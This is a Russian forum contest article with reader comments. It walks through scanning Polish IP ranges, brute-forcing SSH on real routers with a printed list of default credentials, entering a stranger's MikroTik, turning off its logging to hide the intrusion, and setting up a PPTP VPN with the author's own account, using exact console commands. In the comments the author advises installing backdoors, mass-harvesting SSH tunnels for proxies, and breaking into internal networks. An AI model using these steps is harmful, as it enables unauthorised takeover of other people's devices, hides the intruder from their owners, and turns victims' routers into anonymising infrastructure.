Конкурс Брутфорс "микротиков" по SSH с последующей установкой PPTP VPN сервера.

Статья для участия в конкурсе на codeby
В своей последней статье я привела пример взлома роутеров с помощью программы RouterScan.
Но, на мой взгляд, статья получилась недосказанной. Поэтому, сегодня возникло желание написать продолжение.
В этой статье я продолжу атаковать роутеры Польши, найду среди списка жертв маршрутизатор "Микротик", осуществлю коннект по протоколу SSH и подниму на нём сервер VPN PPTP.
Атака будет происходить с того-же виртуального VDS, что и в прошлый раз.

Мой VDS управляется ОС Windows, поэтому для сканирования портов и последующего брутфорса будут использоваться программы, работающие ТОЛЬКО в ОС Windows. Мой выбор обусловлен тем, что на мой взгляд, на форуме уделяется недостаточно внимания программному обеспечению под Windows, которое справляется с "НЕэтичным хакингом" ничуть не хуже, а иногда и лучше линуксоидных утилит. Второстепенной целью статьи является популяризация ОС Windows в области пентестинга.

Как уже было сказано выше, для атаки я случайным образом выбрала роутеры Польши. Для получения IP упомянутой страны я воспользуюсь сервисом, отличным от предыдущего:

Ссылка скрыта от гостей

Выбираем желаемую страну.
В поле "Formatting" выбираем способ вывода информации, ставим галочку на "By input"
В поле для ввода видим следующие:

мне нужен только диапазон IP адресов без лишнего мусора, поэтому удаляем всё и вставляем:

{startip}-{endip}

После нажатия кнопки "Generate", получаем желаемый список диапазонов.

​

Можно перейти к сканированию 22 порта полученных диапазонов IP.
Выбор программ для сканирования портов для Windows более чем богат:

• KPortScan
• VNC-scanner
• Zenmap
• Masscan
• xDedic IP Scanner

Я остановлюсь на программе xDedic IP Scanner.

При сканировании на двух тысячах потоков программа справилась с поставленной задачей в считанные минуты.

Осталось определиться с выбором программ для брутфорс-атаки.
Операционная система Windows в этом отношении нисколько не уступает Linux, выбор программ для брутфорса SSH заставляет мой мозг "подвиснуть":

​

Мой выбор пришёлся на программу КГБ SSH Tool. В программе имеется возможность брутфорса по логину и паролю раздельно, а также по списку логинов и паролей в различных вариантах.
Так как моей целью являются только роутеры, то в переборе по списку логинов и списку паролей особого смысла нет: в good-ы попадут различные ненужные мне устройства. Логичнее составить текстовый файл со списком дефолтных пар логинов и паролей следующего вида:

admin;0000
admin;00000000
admin;0508780503
admin;1
admin;123
admin;1234
admin;12345
admin;123456
admin;1234567
admin;12345678
admin;123456789
admin;1234567890
admin;21232
admin;263297
admin;2w4f6n8k
admin;590152
admin;9f4r5r79//
admin;admin
admin;ADMIN
Admin;Admin
admin;admin225
admin;adminadmin
admin;adn8pzszk
admin;adsl
admin;adsladmin
admin;adslroot
admin;airlive
admin;airocon
admin;amvqnekk
admin;asus
admin;beeline
admin;beeline2013
admin;biyshs9eq
admin;changeme
admin;cisco
admin;default
admin;Dkdk8e89
admin;dPZb4GJTu9
admin;e2b81d_1
admin;EbS2P8
admin;Ferrum
admin;FERRUM
admin;Ferum
admin;FERUM
admin;FhF8WS
admin;flvbyctnb
admin;free
admin;gfhjkm
admin;ghbdtn
admin;ho4uku6at
admin;inet
admin;internet
admin;iyeh
admin;juklop
admin;Kendalf9
admin;mts
admin;nimda
admin;onlime
admin;password
admin;qweasdOP
admin;qwerty
admin;radmin
admin;rombik1
admin;root
admin;RTadmin1979
admin;szt
admin;Uq-4GIt3M
admin;ZmqVfo
admin;ZmqVfo1
admin;ZmqVfo2
admin;ZmqVfo3
admin;ZmqVfo4
admin;ZmqVfoN1
admin;ZmqVfoN2
admin;ZmqVfoN3
admin;ZmqVfoN4
admin;ZmqVfoSIP
admin;ZmqVfoVPN
admin;zyxel
adsl;realtek
airlive;airlive
cisco;cisco
Cisco;Cisco
enable;cisco
engineer;amplifier
kyivstar;kyivstar
mgts;mtsoao
mts;mts
osteam;5up
pnadmin;pnadmin
root;<empty>
root;admin
root;attack
root;Cisco
root;public
root;root
root;toor
super;APR@xuniL
super;asong
super;super
super;zxcvbnm,./
superadmin;Is$uper@dmin
support;<empty>
support;support
telecomadmin;admintelecom
telekom;telekom
user;<empty>
user;user
ZXDSL;ZXDSL

Список логинов и паролей был импортирован из файла auth_basic.txt рассмотренной в предыдущей статье программы RouterScan.
Список атакуемых Ip, список логин;пароль - это всё, что нужно для запуска программы.
После заполнения полей программы как показано на скриншоте, можно нажимать кнопку "Старт" и тем самым начать атаку.

Для написания статьи мне нужен всего один Mikrotik.
Поэтому, как только размер файла Good.txt прининял значение отличное от нулевого, я начала в него подглядывать и искать записи типа

admin;<EMPTY>@82.139.xxx.xxx

Такое поведение объясняется тем, что по-умолчанию Микротики имеют логин "admin", а пароль вовсе отсутствует. Владельцы зачастую относятся роутерам как к бытовому прибору и пароли от вэб-интерфейса совпадают с паролями для доступа к ним по протоколу SSH.
Результаты атаки не заставили себя долго ждать:

Результаты атаки я спешу вставить в программу Bitvise SSH Client, которая предоставит мне доступ к роутеру по протоколу SSH.
В этом месте мне очень хочется написать фразу типа: "на поиски желаемого микротика у меня ушло совсем немного времени". Но это не так.
Программа КГБ SSH Tool всё наполняла и наполняла список good-ов, я поочерёдно методом грубого подбора пыталась найти Mikrotik. За время подбора мне попадались много различных моделей роутеров, которые пригодятся мне для написания моей следующей статьи, но это были не "микротики".

Но всё-таки, кто-то на небесах вознаградил меня за упрямство и спустя некоторый промежуток времени желаемая модель была обнаружена. Версия прошивки моего Mikrotik v.6.37.3(stable)

Коннект к WEB-интерфейсу данного маршрутизатора безошибочно указывал на то, что я достигла желаемой цели, ошибки не случилось:

Поднять VPN PPTP сервер на микротике легче всего прямо в окне браузера, но ведь мы не ищем лёгких путей. Поднимать сервер я буду из консоли маршрутизатора.

• Включаем pptp сервер:

/interface pptp-server server set enabled=yes authentication=chap

Команды консоли тут же отразились в WEB-интерфейсе, значит всё идёт по плану:

​

Раз уж я зашла в веб-интерфейс роутера, то вполне логично посмотретьь его логи:

ВАУ, да здесь проходной двор: по протоколу SSH огромное количество соединений из разных точек планеты. "А что в логах ? "- задая себе вопрос.

Ссылка скрыта от гостей

Логи моего подключения - как на ладони.
Отключаем ведение логов.

/system logging
set 0 topics=info,!account

​

Продолжаю двигаться к намеченной цели.
Дальнейшие действия в консоли:

• Добавляем интерфейса pptp сервера:

/interface pptp-server add name=pptp-in1 user=valkiria

• Устанавливаем пул адресов, которые будут выдаваться подключившимся пользователям:

/ip pool add name="pptp-pool" ranges=172.20.1.10/28

Сработало )

• Добавляем профиль для pptp сервера:

ppp profile add name="pptp" local-address=172.20.1.11 remote-address=pptp-pool use-encryption=default only-one=default change-tcp-mss=yes

В этом месте можно проконтролировать выполнение команд в web-интерфейсе устройства по адресу

• Добавляем данные для аутентификации:

/ppp secret add name="valkiria" service=pptp caller-id="" password="123456" profile=pptp

Ссылка скрыта от гостей

Задаём два правила для файерволла.
Первое — открывает порт 1723, второе разрешает протокол 47(GRE).

/ip firewall filter add chain=input action=accept protocol=tcp dst-port=1723 log=no log-prefix="" comment="Allow access to VPN"
/ip firewall filter add chain=input action=accept protocol=gre log=no log-prefix="" comment="If you have a VPN (pptp server)"

Готово, VPN PPTP сервер на удалённом Mikrotik установлен.
Можно подключаться с локальной машины.
Данные для аутентификции:

83.2.1xxx.xxx@valkiria;123456

​

 

[Remir]

Класс! Репутацию поднять не могу, потому просто "плюсую". Спасибо, статья подсказала мне направление. Стоило только вдумчиво перечитать.
@Ondrik8 , помнишь наш разговор о "моем" "Микротике"?
Вот здесь я увидел ниточку, ведущую к решению моей былой проблемки. Нигде больше найти не мог ответа, а здесь есть путь.
[doublepost=1512753261,1512752428][/doublepost]

на мой взгляд, на форуме уделяется недостаточно внимания программному обеспечению под Windows, которое справляется с "НЕэтичным хакингом" ничуть не хуже, а иногда и лучше линуксоидных утилит

+++

 

[assa911]

если динамический адрес, как сделать отстук роутера на сниффер чтоб знать его новый ип?

 

[a113]

Спасибо за статью! А меня достал мой провайдер, и я решил ему "поднасолить", но уперся в циску с фаерволом и фильтрованными портами

 

[Valkiria]

если динамический адрес, как сделать отстук роутера на сниффер чтоб знать его новый ип?

Можно включить на роутере функцию DDNS.
Можно добраться на одно из устройств за роутером и установить бэкдор.

В конце концов, чего ты так переживаешь за эти роутеры ?
Никогда ни к чему не привязывайся и всегда будь готов за пять минут отказаться от всего.
На наш век незащищённых роутеров хватит с лихвой.

 

[bilder]

А могу собрать роутер сканом пароли и чекнуть на 22 порт, потом проверю те же пароли подходят от ssh, соберу гуды.
Мне vpn просто не нужен, а нужны ток тунели и побольше

 

[Valkiria]

А могу собрать роутер сканом пароли и чекнуть на 22 порт, потом проверю те же пароли подходят от ssh, соберу гуды.
Мне vpn просто не нужен, а нужны ток тунели и побольше

Я не совсем понимаю вопрос.
Тебе нужны просто SSH тоннели для смены своего IP ?
Если мои предположения верны, то программа Роутер Скан в этой цепочке - лишнее звено.

Вот алгоритм действий:
1. Выбирай диапазон желаемых IP
2. Сканируй сканером портов на открытый порт 22
3. Запуская программу-брутфорс для поиска валидных тоннелей.
4. Вставляй любой полученный валидный SSH-тонель в программу Bitvise SSH Client.
5. Программа Bitvise SSH Client обладает функцией соксификации тоннеля, включай её.
6. Пропусти весь свой трафик через локальный socks5 при помощи программы Proxifier.

 

[bilder]

Я не совсем понимаю вопрос.
Тебе нужны просто SSH тоннели для смены своего IP ?
Если мои предположения верны, то программа Роутер Скан в этой цепочке - лишнее звено.

Да я запустил сначала роутер скан, потом подумал, а зачем он мне) Спасибо за развернутый ответ
А можно мне сделать эту тунели как сокс прокси и желательно массово? Нужно для использования в других программах.

Кардеров развелось... откуда столько

как связан кардинг с этой темой? Это просто создание VPN, где ты тут кардинг увидел?

 

[mrOkey]

Написал не туда, сорьки

 

[Valkiria]

А можно мне сделать эту тунели как сокс прокси и жалательно массово?

Для массового брутфорса попробуй воспользоваться программой Mass Tunneler.

 

[bilder]

Что за функиция в SSH Tool 3.1 сохранение ssh соксов?
Все ниже SSH Tool 3.1 , раз сканю на linux,буду брутить ssh тогда patator.
Я подрубил prixoxy вроде все используется через тор теперь.
Как проверить использует ли масскан прокси? Потому что знаю что даже если в консоле кажет не свой ip, masscan может все равно юзать свой.
И опять же медленная скорость prixoxy, вроде можно как то ее увеличить значительно, но что то не понял как.

 

[neofit]

Valkiria Приветствую! Выложите пожалуйста софт для брута, За ранее спасибо

 

[Ivan175]

Можно добраться на одно из устройств за роутером

можно подробней, хотя бы направление или отдельной статьёй

 

[assa911]

Valkiria, такой вопрос. Возможно ли таким способом подключиться к другому роутеру, узнать IP его внутренней сети и просканировать Router Scan?

 

[Valkiria]

Valkiria, такой вопрос. Возможно ли таким способом подключиться к другому роутеру, узнать IP его внутренней сети и просканировать Router Scan?

Парни, старайтесь задавать вопросы наиболее понятно, наиболее корректно.
Я не могу читать посторонние мысли )
Я не совсем понимаю, что значат слова "подключиться к другому роутеру ".
К какому "другому" ?
Другому - не тому, что в статье ?
Подключайся к любому роутеру, к какому тебе заблагорассудится.
В неэтичном хакинге - ты свободен, тебя никто не держит в рамках лабораторий.
Границы возможного тебе продиктует твоя совесть.

Обычно роутеры для устройств внутренней сети являются шлюзами для выхода в Инет и их внутренние адреса нетрудно предсказать:
192.168.1.1
192.168.0.1
192.168.8.1


Если есть желание проникнуть вовнутрь сети - проникай.
Ты спрашиваешь у меня благословения?
Благословляю.

 

[pluscat]

Отличная статья, можно ссылки на софт, в сети все склеено с дрянью всякой.
Можно как то замутить double triple vpn из микротиков ?

 

[Thraw]

не,я в курсе что уровень тут очень разный....
но не настолько же.

вы еще описание команд линукс на конкурс выложите, а чо, тоже тема.

PS это дажене критика, это частное мнение и набор необходимого количества мессаг.

 

[IKUS]

Кто нибудь может поделиться - КГБ SSH Tool ?

 

[m0tion]

по-умолчанию Микротики имеют логин "admin", а пароль вовсе отсутствует

Не согласен. При первичной настройке микротик заставит пользователя установить пароль. Как по мне, брутить пустые пароли не имеет смысла.

если динамический адрес, как сделать отстук роутера на сниффер чтоб знать его новый ип?

Можно включить на роутере функцию DDNS.

По умолчанию на микротике включен встроенный DDNS. Адрес можно найти в IP --> Cloud
(эта функция присутствует на относительно новых прошивках)

 

[n01n02h]

Люди, если кто ссылки на проги нашел поделитесь пожалуйста